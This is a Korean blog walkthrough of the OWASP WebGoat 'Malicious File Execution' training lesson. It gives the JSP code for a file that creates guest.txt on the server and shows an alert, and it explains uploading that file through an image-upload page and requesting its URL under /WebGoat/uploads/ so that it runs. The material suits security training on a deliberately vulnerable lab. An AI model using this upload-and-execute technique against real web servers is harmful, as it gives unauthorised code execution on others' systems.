본문 바로가기

보안/웹 해킹_보안

[WebGoat 5.4-14] Malicious Execution


1. Malicious File Execution


이미지 파일을 업로드 할 수 있는 페이지 이다악의적인 파일 실행에 대한 취약점을 테스트 할것이다 업로드 한 파일을 실행해서 guest.txt라는 파일을 하나 더 만들어 낼것이다.

 

[해답]

my.jsp 파일을 생성한다. guest.txt파일을 생성하는 jsp 프로그램이다.

<HTML>

 <% java.io.File file = new java.io.File("guest.txt");

    file.createNewFile();

        out.println("file created: "+request.getRealPath(file.getName() )); %>

        <script>alert("myfile.jsp is running");</script>

</HTML>

 

먼저 image파일을 하나 업로드 한다. 해당 이메지가 화면에 표시되면 이미지 파일의 경로를 확인한다.

http://localhost/WebGoat/uploads/image.jpg

 

그렇다면 업로드 된 jsp파일도 이 경로로 업로드 되었을것이다.

URL창에 http://localhost/WebGoat/uploads/my.jsp 요청하여 실행되는지 확인한다.

 

 


OWASP WebGoat: Malicious Execution 솔루션 비디오 보기  [View | Download]   

Description: This lesson allows you to upload an image which will be displayed on the page. Features like this are often found on web based discussion boards and social networking sites. This feature is vulnerable to Malicious File Execution. In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute, it should create another file named \WebGoat-x.x\tomcat\webapps\webgoat\mfe_target\guest.txt. Once you have created this file, you will pass the lesson. 
Size: N/A